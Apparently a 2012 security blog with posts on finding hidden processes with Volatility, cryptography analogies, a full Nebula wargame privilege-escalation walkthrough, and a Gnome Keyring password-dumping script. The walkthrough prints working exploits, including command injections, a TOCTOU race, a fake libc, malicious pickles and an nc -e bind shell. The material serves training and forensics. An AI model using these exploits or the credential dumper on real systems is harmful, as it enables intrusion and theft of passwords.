Pages

Sunday, July 29, 2012

Detect hidden (unlinked) processes in memory

One of the many things that can be done with Volatility memory analysis framework is detecting hidden processes from physical memory dumps.
In Windows, there are two frequently used methods to hide a process, utilized by malicious attackers to hide key-loggers, rootkits, spy-ware, back-doors, etc. Each process is represented by an executive process block (EPROCESS) opaque structure, which is a process object existing in system address space. It contains a set of resources necessary to execute the program, like image base address, heap information, quotas.
Method 1:
Hooking the native system call NtQuerySystemProcess() used by most user-land processes to enumerate processes. Then, the desired process to be hidden can be filtered out and will not show for example in Task Manager or tasklist/pslist.

Method 2:
A lower level and more advanced technique is to manipulate the EPROCESS structure in kernel and unlink the desired process. Basically it works as follows: each process in the active processes list has two links, one forward to the next one and one backward to the previous one. Unlinking means modifying those, such that the process is excluded from the list.
pEProcess->ActiveProcessLinks.Blink->Flink = pEProcess->ActiveProcessLinks.Flink;
pEProcess->ActiveProcessLinks.Flink->Blink = pEProcess->ActiveProcessLinks.Blink;
The method was developed and presented initially by Jamie Butler (co-author of the book “Rootkits: Subverting the Windows Kernel” ) in 2004 [DKOM]. Since then, this technique was refined ("Raising the bar for rootkit detection") and other methods of evading detection are also tested. This same technique can be applied applied to Linux systems also, by manipulating the task_struct structure, which is similar to EPROCESS in Windows. An example of a Windows driver that implements this second method is available
Using this implementation, we will test the pslist and psscan commands from Volatility. 
The TestDriverApp.exe process is started (after the driver TestDriver.sys is loaded with OSR Loader). In a second terminal, we check its presence:
c:\>pslist | grep -i testdriverapp
TestDriverApp 284 8 1 8 208 0:00:00.031 0:00:04.999
It’s there. Now back to the first terminal where it was started, we continue execution by calling an IOCTL to the driver in kernel to hide itself. Then check again:
c:\>pslist | grep -i testdriverapp
Nothing. Now it’s invisible to the task manager and pslist. We make a copy of the memory using win32dd port of dd tool for Windows, from Moonsols Windows Memory Kit:
> win32dd /r /m 1 /s 3 /f win32dd_mem_dump240612.bin
Processing....Done.
Acquisition finished at: [2012-06-24 (YYYY-MM-DD) 16:11:07 (UTC)]
Time elapsed: 1:48 minutes:seconds (108 secs)
Created file size: 2950234112 bytes ( 2813 Mb)
SHA-256: 2012984E7CFD7725115...
The /r option creates a raw memory dump file. If /d would have been used instead, we would have obtained a WinDbg compliant crash dump file. The /m switch specifies the memory mapping method as \\Device\\PhysicalMemory (still possible in Windows XP) and the /s selects SHA-256 as the hashing method to use. This utility can function as a client or as a server: when in client mode it can send the data over the network and when in server mode (/t flag) it listens to receive the dump.
Now we can use the 2 process scanning options from Volatility:
> volatility.exe -f win32dd_mem_dump250612.bin –profile=WinXPSP3x86 pslist |
grep -i test

> volatility.exe -f win32dd_mem_dump250612.bin –profile=WinXPSP3x86 psscan
| grep -i test
0x09c20620 TestDriverApp.e 284 464 0x0b380560 2012-06-25 11:22:54
We see that the first command - pslist, didn’t find it (because this command just walks the active processes list), but it is revealed by the psscan command (which searches for a signature for the process data structure). The first column represents it’s physical offset in memory. It is needed for further investigation with other commands (handles command to list its handles to other resources or dlldump to list the used libraries). Advanced detection for processes that modify the signatures must take into account other fields that are harder to fake (Robust process scanner).

Wednesday, July 25, 2012

Security analogies

Sometimes it is difficult to explain clearly security concepts to someone else. Below are some analogies I've heard and liked, that can make this easier and maybe even interesting.

Cryptographic hash function

As described here, a hash function is an algorithm that takes as input an arbitrary block of data (the "message") and returns a fixed-size bit string - "hash value", "message digest" or "fingerprint". Its role is to detect with very high probability any accidental or intentional change of the message (Property 3). It has four properties:
  1. It is easy to compute the hash value for any given message
  2. It is infeasible to generate a message that has a given hash
  3. It is infeasible to modify a message without changing the hash
  4. It is infeasible to find two different messages with the same hash
A hash is easy to calculate (P1) but infeasible to reversed (P2), so it is a one way process. 
As an analogy with a coffee grinder: it is easy to grind coffee beans into coffee powder, however it is unfeasible to revert coffee powder back to beans. (Coffee beans are the data, the grinder is the hash function and the coffee powder is the message digest.

Diffie-Hellman key exchange

It is a method of exchanging secret keys. The D-H key exchange method allows two parties that have no prior knowledge of each other to jointly establish a shared secret key over an insecure communications channel. This established key can then be used to encrypt subsequent communications.
Mathematically, it is based on the discrete logarithm problem (a difficult problem with no efficient solving algorithms known). The D-H exchange algorithm can be easily illustrated  using colors instead of large numbers. The following picture shows how two parties can generate an identical key that is almost impossible to reverse for another party that might have been listening in on them.
Alice and Bob both agree on a color, yellow, which is public. They also both have a secret color each. Suppose an eavesdropper can intercept the transmitted color mix, she should separate it into yellow + something, which is considered very expensive. After each arty receive the mix as in the picture, each re-mix it with its secret color, so both come to the same result: yellow+orange+blue, which will be used as the secret key. Nice!

Public keys/Private keys 

Public-key cryptography and asymmetric key algorithms concepts are explained here. The concepts of public keys and private keys can be sometimes confusing. The following (simplified) analogy may help to better understand them:

  • The public key is similar to a padlock, which the owner can make any copies of it and distribute it to the people.
  • The private key is the actual key that opens the padlock. Only the owner has it, and it has to be kept safe.
So the public key (the padlock) can be distributed anywhere, and if someone wants to send a message that only the owner of the padlock can read,  he can put it in a box and close it with the padlock, and only the true owner will have the private key to open the box. 
Another usage of public/private keys is that they allow the owner to digitally sign a message with its private key, and everybody having his public key can verify the signature with it, and then read the message. This is similar to sealing of an envelope with a personal wax seal. The message can be opened and read by anyone, but the presence of the seal authenticates the sender.

Creating keys from passwords

Lots of programs we're using to encrypt and protect our data (Wi-Fi Protected Access, WinZip, Word, TrueCrypt, EFS, ..) use long keys (128 bits, 160 bits, 256 bits, ...) for the encryption algorithms. But we enter a password to store them, and that same password to view them. The process of deriving a key from a password is standardized as Password-Based Key Derivation Function. Basically this applies a pseudo-random function (such as a cryptographic hash, or HMAC) to the input passphrase, along with a salt value and repeats the process many times to produce a derived key. Adding a salt reduces the ability to use precomputed hashes (rainbow tables).

Blind signatures

Blind signatures, introduced by David Chaum, are a form of digital signature, in which the content of a message is disguised (blinded) before it is signed. The resulting blind signature can be publicly verified against the original message in the manner of a regular digital signature. Blind signatures are typically employed in privacy-related protocols like digital cash schemes, that provide confidentiality.
As an analogy, Alice has a letter which should be signed by an authority (say Bob), but Alice does not want to reveal the content of the letter to Bob. She can place the letter in an envelope lined with carbon paper and send it to Bob. Bob will sign the outside of the carbon envelope without opening it and then send it back to Alice. Alice can then open it to find the letter signed by Bob, but without Bob having seen its contents.
But how does this applies to digital cash for example?
If Alice would make a purchase for an object using her bank account, the transaction would be registered, and the bank would know that Alice bought that specific object. If Alice wants to keep this anonymous, she would need some digital cash, signed by the bank, that she could spend at any seller, and the seller to be able to check the signature and withdraw the cash from the bank. The solution can be described as follows:

  • Alice generates 100 digital banknotes, each with its own serial number and same value. She puts them each in an envelop with a carbon paper.
  • The bank opens 99 of them, checks that each represent the same amount, and assume that the 100th one also represents the same amount. 
  • Then the bank signs the last envelope, without opening it, and the signature goes through the carbon paper on the (digital) banknote. Then sends it back to Alice
  • Alice opens the received envelope and extracts the banknote. Now Alice has an untraceable banknote signed by the bank, that she could pass to any seller in exchange for goods. 
  • The seller checks that the bank signature is valid, and the bank credits him the respective sum of money

Zero knowledge proofs

A zero-knowledge protocol is an interactive method for one party to prove to another that he knows a secret, without actually revealing it. The story explaining the protocol ideas (as presented by Jean-Jacques Quisquater and others in their paper "How to Explain Zero-Knowledge Protocols to Your Children") is described here


Saturday, July 21, 2012

Nebula wargame walkthrough

Recently at work someone introduced a modified version of the Nebula wargame.  The goal of the game is local privilege  escalation on a Linux machine (virtual machine provided). It's very interesting and covers many areas: SUID files, race conditions, format string vulnerabilities, library manipulations, ... Solutions to some levels are already posted on different sites, and some levels can be solved in different ways. It comprises 20 levels. So here it goes:

Level 0

The instructions here are pretty clear: "find a Set User ID program that will run as the "flag00" account".
level00@nebula:~$ find / -user flag00 -type f -executable 2>/dev/null
/bin/.../flag00
level00@nebula:~$ /bin/.../flag00
Congrats, now run getflag to get your flag!
flag00@nebula:~$ getflag
You have successfully executed getflag on a target account

Level 1

The source code for a vulnerable SUID binary is presented. The programs run 'echo' command, without specifying its full path. So we build a custom executable, and run the vulnerable binary with PATH environment variable modified:. 
In test.c file:
int main(int argc, char **argv, char **envp)
{
  system("/bin/getflag");
}
level01@nebula:~$ gcc -o echo test.c
level01@nebula:~$ PATH=/home/level01 /home/flag01/flag01
You have successfully executed getflag on a target account

Level 2

Another source code for a vulnerable program that may allow arbitrary program to be executed. The USER environment is used as input for the echo command, but unsanitized:
asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
So we could use an injection trick. We'll pass something like "levelx; /bin/getflag"
level02@nebula:~$ USER="levelx; /bin/getflag" /home/flag02/flag02
about to call system("/bin/echo levelx; /bin/getflag is cool")
levelx
You have successfully executed getflag on a target account
level02@nebula:~$

Level 3

We're informed that "there is a crontab that is called every couple of minutes".  The script called is /home/flag03/writable.sh. This script parses the writable.d directory, and tests all files if they are executable (and executes them! - bash -x ). So we build a small script, place it in the writable directory and wait.for the crontab to execute:
level03@nebula:~$ vim /home/flag03/writable.d/scr
  #!/bin/bash
  getflag > /tmp/out
level03@nebula:~$ chmod +x /home/flag03/writable.d/scr
level03@nebula:~$ cat /tmp/out
You have successfully executed getflag on a target account

Level 4

The goal here is to read the /home/flag04/token file from the SUID binary /home/flag04/flag04. But there is a check that prevents opening any file that has the string "token" in its name. A symbolic link solves this:
level04@nebula:~$ ln -s /home/flag04/token /tmp/tk
level04@nebula:~$ /home/flag04/flag04 /tmp/tk
06508b5e-8909-4f38-b630-fdb148a848a2
This token can then be used to log in as flag04 user.

Level 5

The hint here is to check flag05 home directory, looking for week permissions.Indeed, the hidden .backup directory is readable by everyone, and contains the RSA public and private keys of flag05 user. We extract the archive into ~/.ssh,  and because we have the private key, we will be able to login through ssh as flag05:
level05@nebula:~$ tar xvf /home/flag05/.backup/backup-19072011.tgz
.ssh/
.ssh/id_rsa.pub
.ssh/id_rsa
.ssh/authorized_keys
level05@nebula:~$ ssh flag05@localhost
This article describes SSH authentication  using keys, and warns about leaving the passphrase empty: anybody getting your private key (~/.ssh/id_rsa) will be able to connect to the remote host.

Level 6

For this level, "The flag06 account credentials came from a legacy unix system". We see that the password for flag06 user is DES encrypted, and stored unshadowed directly in the /etc/passwd file:
level06@nebula:~$ cat /etc/passwd | grep flag06
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh
John the Ripper decrypts it instantaneously:
> echo flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh > passwd
> john.exe passwd
Loaded 1 password hash (Traditional DES [128/128 BS SSE2])
hello            (flag06)

Level 7

This level presents a vulnerable Perl script. The vulnerability lies in using the input 'Host' variable unsanitized, and can be exploited through an injection similar to level2:
@output = `ping -c 3 $host 2>&1`;
level07@nebula:/home/flag07$ wget http://localhost:7007/index.cgi?Host=%3b%20getflag%20%3E%20/tmp/out07
level07@nebula:/home/flag07$ cat /tmp/out07
You have successfully executed getflag on a target account
URL encoding is used to pass the ';', '>' and blank characters encoded

Level 8

This presents a small capture to be analysed.  It proves to be a clear-text login to a Linux box, captured on capture.pcap file. We extract the stream (Follow TCP stream option  in Wireshark), and open it with a hex editor. Then we see the password as backdoor[\x7F][ \x7F ][ \x7F ]00Rm8[ \x7F ]ate. 0x7F is the ASCII code of delete key. So the reconstructed password for flag08 user is: backd00Rmate.

Level 9

The /home/flag09/flag09 executable is a SUID wrapper over the presented vulnerable PHP code. The vulnerability lies in using the e (PREG_REPLACE_EVAL) modifier with preg_replace function. As noted here,  "Use of this modifier is discouraged, as it can easily introduce security vulnerabilites".
The C wrapper runs the vulnerable script, which in turn parses the content to format email addresses. When an address is matched, the 'spam' function will be executed, having as input the matched string. We'll alter this, so that the email contains the PHP system command, with the script as parameter ($filename, as it is in the  'markup' function). The idea is the same as with the vulnerable code example from PREG_REPLACE_EVAL warnings:
level09@nebula:~$ vim /tmp/scr
[email {${system($filename)}}]
getflag > /tmp/out09
level09@nebula:~$ chmod +x /tmp/scr
level09@nebula:~$ /home/flag09/flag09 /tmp/scr
level09@nebula:~$ cat /tmp/out09
You have successfully executed getflag on a target account

Level 10

The task here is to read the /home/flag10/token file, using the vulnerable flag10 binary. The flow is as follows: the program checks if its first argument is a readable file (the token file is readable only for flag10/flag10), and if it is, tries to connect to a remote host and send the file. This is an example of a Time-of-Check, Time-of-Use (TOCTOU) vulnerability.
We could easily trick it to send an unreadable file.
Method 1:
  • create a world readable file in /tmp
  • start the script with this file as parameter. It will block on connect function
  • replace the file created in step 1 with a link to the token file
  • open the socket on the other side and receive the content of the file
$ touch /tmp/test
$ /home/flag10/flag10 /tmp/test localhost &
$ rm /tmp/test; ln -sf /home/flag10/token /tmp/test

c:\> nc -l -p 18211

Method 2:
In a scenario I had nebula VM, network in bridged mode, and connect() 
call was non blocking, and timed out immediately. So the first method didn't work. The TOCTOU vulnerability can be still exploited. I've done the scenario created by Matt Andreko, with the exception that I've not used two machines, but just the nebula VM. More detailed explanation here. In 4 terminals:
  • An infinite loop to append received output to a file
$ while :; do nc.traditional -l -p 18211 >> out.txt; done
  • An infinite loop (-f switch) to search for the banner in the received file
$ tail -f out.txt | grep -v ".oO Oo."
  • An infinite loop to replace /tmp/token10 link with a readable file and alternatively with the token file
$ touch /tmp/token
$ while :; do ln -fs /tmp/token /tmp/token10; ln -fs /home/flag10/token /tmp/token10; done
  • Continuously start the flag10 binary with a low priority (-n 20), in an infinite loop, connecting to localhost
$ while :; do nice -n 20 /home/flag10/flag10 /tmp/token10 127.0.0.1; done
Eventually we'll get the token in the second terminal: 615a2ce1-b2b5-4c76-8eed-8aa5c4015c27. We can use it to login as flag10 user.

Level 11

Level 11 presents a C program that 'decrypts' an input buffer and passes the result to the system command to be executed.  The encryption algorithm is simple, but entertaining to reverse.  I've built a python script to encrypt any command, so that it will be decrypted correctly by this algorithm and executed. (The documentation is the code).
level11@nebula:~$ python gen.py | TEMP=/tmp /home/flag11/flag11
level11@nebula:~$ cat /tmp/out11
You have successfully executed getflag on a target account

Level 12

We're informed that there's a backdoor listening on port 50001. There's a LUA script that binds the port and asks for a password, /home/flag12/flag12.lua. The vulnerability to be exploited here is in the popen() function,  that is executed with the unsanitized password as an input. We take advantage of this and slip in a command instead of the password:
level12@nebula:~$ nc.traditional 127.0.0.1 50001
Password: `getflag > /tmp/flag12`
Better luck next time
level12@nebula:~$ cat /tmp/flag12
You have successfully executed getflag on a target account

Level 13

The program to be exploited here checks if the real user id of the calling process (obtained with the getuid() call)  has a specific value and, if  the condition is true, prints the token for flag10 user. The check can be bypassed by starting the program in gdb, set a breakpoint before the comparison, and when hit, modify the user id value to be compared to the one required:
gdb /home/flag13/flag13
(gdb) set logging on
(gdb) disas main
Dump of assembler code for function main:
  [ . . .]   
  0x080484ed <+41>: xor    %eax,%eax
  0x080484ef <+43>: call   0x80483c0  // call to getuid()
  0x080484f4 <+48>: cmp    $0x3e8,%eax  // comparison
Quit
(gdb) break *080484f4
Breakpoint 1 at 0x80484f4
(gdb) run
Breakpoint 1, 0x080484f4 in main ()
(gdb) p $eax
$1 = 1014
(gdb) set $eax=1000
(gdb) c
Continuing.
Your token is b705702b-76a8-42b0-8844-3adabbe5ac58
[Inferior 1 (process 2114) exited with code 063]

Level 14

We're presented a readable file with encrypted content, and the encryption program. We have the ability to chose arbitrary texts to be encrypted and see the corresponding cipher text (chosen plain text attack). It's simple, I won't ruin the fun of discovering how it works. With this python script, I've  'deciphered' the token:
$python dec.py `cat /home/flag14/token`
8457c118-887c-4e40-a5a6-33a25353165

Level 15

This level instructs us to strace the suid binary corresponding to flag15, and links to instructions on how to compile libraries in Linux (static, shared, loadable). Doing as suggested, first thing we see is that the program tries to load libc library from a non-standard path in the world-readable /var/tmp folder:
open("/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory).
By disassembling the program in GDB, we see it's using the puts() function (from glibc) to print some instructions on screen.
gdb /home/flag15/flag15
(gdb) disas main
. . .
0x08048340 <+16>:    call   0x8048300 
So we will create a fake library in the path above, where the program searches for libraries, containing this puts() function, but with our code. We we'll also need a Makefile for easier compilation and a version script file. It is important to link in libc static library when compiling our fake library, to get access to system calls (-Bstatic, -staic options from below)All the files mentioned are also here. The fake library source code:
#include 
#include 
#include 

// .. to avoid symbol undefined errors
void __cxa_finalize(void * d) {
}

int puts(const char *s) {
 system("/bin/getflag > /tmp/out15");
 
 return 0;
}

// libc wrapper to call main
int __libc_start_main(int (*main) (int, char **, char **), 
 int argc, 
 char **argv, 
 void (*init) (void), 
 void (*fini) (void), 
 void (*rtld_fini) (void), 
 void (* stack_end)
) {
 main(argc, argv, NULL);
 
 return 0;
}
And the Makefile:
FAKELIB=/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6
FAKEOBJ=libc.o
FAKESRC=libc.c
VER_SCRIPT=version.script

all: $(FAKESRC)
 gcc -Wall -fPIC -o $(FAKEOBJ) -c $(FAKESRC)
 gcc -shared -Wl,-Bstatic,--version-script=$(VER_SCRIPT),-soname,libc.so.6 -o $(FAKELIB) $(FAKEOBJ) -static

clean:
 rm $FAKEOBJ

cleanall:
 rm *.o *.c $(VER_SCRIPT) 
Putting them together, we can execute any command, with flag15 privileges:
level15@nebula:~$ mkdir -p /var/tmp/flag15/tls/i686/sse2/cmov
level15@nebula:~$ /home/flag15/flag15
Segmentation fault
level15@nebula:~$ cat /tmp/out15
You have successfully executed getflag on a target account
level15@nebula:~$

Level 16

We have another vulnerable Perl script listening on port 1616. This script forms a command to be executed based on unsanitized user input - $username variable:
$username =~ tr/a-z/A-Z/; # conver to uppercase
$username =~ s/\s.*//;  # strip everything after a space
@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
The $username variable is first converted to uppercase and everything after a blank space is trimmed. So we have to inject a command there taking into account these restrictions. The solution is taken from here, with small modifications.
We create a script (with its name in uppercase) and place it in the /tmp folder, where the flag16 user (the owner of thttpd process) can access it.
$ ps aux |grep -i  httpd | grep flag16
flag16 736  0.0 0.2 2460 712 ?  Ss   09:34   0:00 /usr/sbin/thttpd -C /home/flag16/thttpd.conf
To execute it, we use a feature of bash that searches file names containing replacement characters. An example clarifies this:
level16@nebula:~$ mkdir -p dir1/dir2/dir3/dir4
level16@nebula:~$ touch dir1/dir2/dir3/dir4/MYSCRIPT
level16@nebula:~$ ls /*/*/*/*/*/*/MYSCRIPT
/home/level16/dir1/dir2/dir3/dir4/MYSCRIPT
level16@nebula:~$ ls /*/*/*/dir?/*/*/MYSCRIPT
/home/level16/dir1/dir2/dir3/dir4/MYSCRIPT
level16@nebula:~$ ls /*/*/d?r1/*/*/*/MYSCRIPT
/home/level16/dir1/dir2/dir3/dir4/MYSCRIPT
So taking advantage of this neat feature we create the file MYSCRIPT in /tm folder, and execute it with /*/SCRIPT (all uppercase).  We need the traditional version of netcat, not the OpenBSD variant, to have access to execute (-e) feature. Putting all together, we have:
level16@nebula:~$ vim /tmp/SCRIPT:
#!/bin/sh
nc.traditional -l -p 4444 -e /bin/sh
level16@nebula:~$ chmod +x /tmp/SCRIPT

> nc nebula 1616
GET /index.cgi?username="`/*/SCRIPT`"&password=pass

> nc 192.168.0.18 4444
id
uid=983(flag16) gid=983(flag16) groups=983(flag16)
getflag
You have successfully executed getflag on a target account

Level 17

Level 17 deals with an interesting yet dangerous feature of Python, the ability to pickle (and unpickle) binary objects. The following vulnerable line unpickles an object from an unsanitized input read through a socket:
line = skt.recv(1024)
obj = pickle.loads(line)
It is clearly mentioned in a big red warning on the pickle module site that "The pickle module is not intended to be secure against erroneous or maliciously constructed data.  Never unpickle data received from an untrusted or unauthenticated source."
I've used two methods to construct a malicious pickled object and pass it to loads() function.
Method 1
This site shows some very simple constructed pickled objects that execute code when unpickled. Exactly what's needed here:
$ touch ~/pickled
cos
system
(S'getflag > /tmp/out17'
tR.

$ cat pickled | nc localhost 10007
Accepted connection from 127.0.0.1:53001
^C
level17@nebula:~$ cat /tmp/out17
You have successfully executed getflag on a target account
Method 2
We will understand how exactly pickling works and construct our own objects with any desired unpickling behavior. An object can define a __reduce__ method, that will be called at pickle time, and that returns a callable object (a function) and its arguments. This callable object will be executed at unpickling to construct the initial version of the object. So we could easily create a class with a __reduce__() method returning some executable malicious code. More on how to exploit pickle here.
The exploit class looks like this:
import pickle
import os
 
class Exploit(object):
  def __reduce__(self):
    return (os.system,
            (('getflag > /tmp/out_exp'),))
   
dmp = pickle.dumps(Exploit())
print dmp
And I've used it like this:
level17@nebula:~$ python exploit.py  | nc 127.0.0.1 10007
Accepted connection from 127.0.0.1:53002
^C
level17@nebula:~$ cat /tmp/out_exp
You have successfully executed getflag on a target account
Nice. Any command can be embedded this way.

Level 18

Here we have a vulnerable C program and we're told there are 3 ways to exploit it: an easy way, an intermediate way and a more difficult/unreliable way. First some things that didn't work (for me) and need further investigation
There is a possible buffer overflow in the code that parses the input for the 'setuser' command:
char msg[128];
sprintf(msg, "unable to set user to '%s' -- not supported.\n", user);
But if we try to exploit it, there's a Fortify check in place, that would need to be bypassed (how?):
$ echo setuser `perl -e 'print "A"x200'` | /home/flag18/flag18
*** buffer overflow detected ***: /home/flag18/flag18 terminated
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x45)[0x6ff8d5]
Another thing I've noticed is the format strings vulnerability in the function that processes the 'site exec' commands:
void notsupported(char *what)
{
...
   dprintf(what);
}
This seems to be a subtle reference to SITE EXEC format string vulnerability in WU-FTPD 2.6.0. We  confirm this:
$ /home/flag18/flag18 -d deb -vvv
site exec %s%s%s%s%s%s%s%s%s%s%s%s
Segmentation fault
But after analysing and crafting a payload to modify addresses (based on the great reference book by Jon Erickson, Hacking - The Art of Exploitation 2nd edition), I realized there's another Fortify protection that doesn't allow %n format parameter (seems that this could also by bypassed as described by Captain Planet in Phrack magazine).
level18@nebula:~$ echo -e site exec `perl -e 'print "AB"."\xb4\xb0\x04\x08"."%08x."x23,"%n"'` "\nsite exec" `perl -e 'print "AB"."\xb4\xb0\x04\x08"."%08x."x24'` | /home/flag18/flag18 -d /tmp/log -vvv
*** %n in writable segment detected ***
Aborted
The same protection restrict the overwriting of destructor method:
level18@nebula:~$ nm /home/flag18/flag18 | grep DTOR
0804af20 D __DTOR_END__
0804af1c d __DTOR_LIST__
level18@nebula:~$ objdump -s -j .dtors /home/flag18/flag18
/home/flag18/flag18:     file format elf32-i386
Contents of section .dtors:
 804af1c ffffffff 00000000                    ........
level18@nebula:~$ echo -e site exec `perl -e 'print "AB"."\x20\xaf\x04\x08"."%08x."x23,"%n"'` "\nsite exec" `perl -e 'print "AB"."\x20\xaf\x04\x08"."%08x."x24'` | /home/flag18/flag18 -d /tmp/log -vvv
*** %n in writable segment detected ***
Aborted
No luck (something more than luck needed:) with these methods. We have forgotten the mentioned 'easy' way. As it was previously described here, the login() function opens a file, but never closes it, and in the case where the file couldn't be opened (maximum opened files reached), it will still set the globals.loggedin variable, that will allow to execute shell afterwards. So we will fill all the available file descriptors, after that close the file descriptor for the debug log (to free one file descriptor, otherwise we won't be able to execute out command that needs a file descriptor to open).
We check for the maximum allowed opened files:
level18@nebula:~$ ulimit -a 
[. . .]
open files                      (-n) 1024
Extracting the steps from the mentioned reference, we have:
level18@nebula:~$ for i in {0..1030}; do echo "login test" >> /tmp/input; done
level18@nebula:~$ echo "closelog" >> /tmp/input
level18@nebula:~$ echo "shell" >> /tmp/input
level18@nebula:~$ echo "/bin/getflag" > /tmp/Starting
level18@nebula:~$ chmod +x /tmp/Starting
PATH=/tmp:$PATH cat /tmp/input |/home/flag18/flag18 --init-file -d /tmp/debuglog
/home/flag18/flag18: invalid option -- '-'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 'n'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 't'
/home/flag18/flag18: invalid option -- '-'
/home/flag18/flag18: invalid option -- 'f'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 'l'
/home/flag18/flag18: invalid option -- 'e'
You have successfully executed getflag on a target account
/tmp/debuglog: line 2: syntax error near unexpected token `('
/tmp/debuglog: line 2: `logged in successfully (without password file)'
Nice

Level 19

This presents a program that executes a command only if its parent is the root process.  We can start flag19 binary from another process, then terminate the calling parent process before execve() in the child, without waiting for it, so the child becomes 'orphan'. An orphan process is a process whose parent process has finished or terminated, though it remains running itself. In a Unix-like operating system any orphaned process will be immediately adopted by the special init system process. This operation is called re-parenting and occurs automatically. The init process is started under the root username.
Source of the calling process:
/* 
Credit: http://chrismeyers.org/2012/05/01/nebula-level-19/
 */
#include      /* Symbolic Constants */
#include   /* Primitive System Data Types */
#include       /* Errors */
#include       /* Input/Output */
#include    /* Wait for Process Termination */
#include      /* General Utilities */

int main() {
    pid_t childpid; /* variable to store the child's pid */
    int retval;     /* child process: user-provided return code */
    int status;     /* parent process: child's exit status */

    childpid = fork();

    if (childpid >= 0) { // success
        if (childpid == 0) {    // child
            char cmd[] = "/home/flag19/flag19";
            char *argv[] = { "/bin/sh", "-c", "/bin/getflag > /home/flag19/test" };
            char *envp[] = { NULL };
            sleep(3);
            execve(cmd, argv, envp); // the parent has already terminated by now

        } else {    // parent
            //waitpid(childpid, &status, 0);
            sleep(1);
            exit(1);
        }
    }
}
Executing it:
level19@nebula:~$ ps aux | grep -i init
root         1  0.0  0.7   3188  1772 ?        Ss   Jul13   0:03 /sbin/init
level19@nebula:~$ gcc start.c
level19@nebula:~$ ./a.out
level19@nebula:~$ cat /home/flag19/test
You have successfully executed getflag on a target account

All the levels are very instructive, heading for the next ones in Protostar.

Sunday, July 15, 2012

Extracting Gnome Keyring credentials


Gnome Keyring is a (good:) daemon that stores different security credentials encrypted in a file in the user’s home directory. It uses the login password for encryption, and after the keyring is decrypted at logon, the password is no longer necessary in the current user’s context. An attacker/forensic investigator can easily extract specific credentials from the GUI application (Applications -> Accessories -> Passwords and Encryption Keyrings), without being prompted for anything to authorize him.
Gnome Keyring does not protecting against active attacks (when the attacker has access to user’s session).
The analogous application for KDE is KWallet, working by the same principles. There is a python binding for this too.

Script for dumping gnome keyring credentials:
import gnomekeyring
 
def extract_keys():
    ''' Extract the usernames and passwords from all the keyrings'''
    
    for keyring in gnomekeyring.list_keyring_names_sync():
    # Get keyring name - "Login" is the default passwords keyring
        kr_name = keyring.title()
        print "Extracting keys from \"%s\" keyring:" % (kr_name)
        
        items = gnomekeyring.list_item_ids_sync(keyring);
        if len(items) == 0:
            print "Keyring \"%s\" is empty\n" % (kr_name)
            # If keyring is empty, continue to next keyring
            continue
        
        for i in range(0, len(items)):
            # Get information about an item (like description and secret)
            item_info = gnomekeyring.item_get_info_sync(keyring, items[i])
            description = item_info.get_display_name()
            password = item_info.get_secret()

            # Get attributes of an item (retrieve username)
            item_attr = gnomekeyring.item_get_attributes_sync(keyring, items[i])
            username = item_attr['username_value']

            print "[%d] %s" % (i, description)
            print " %s:%s" % (username, password)
        print ""
 
if __name__ == '__main__':
    extract_keys()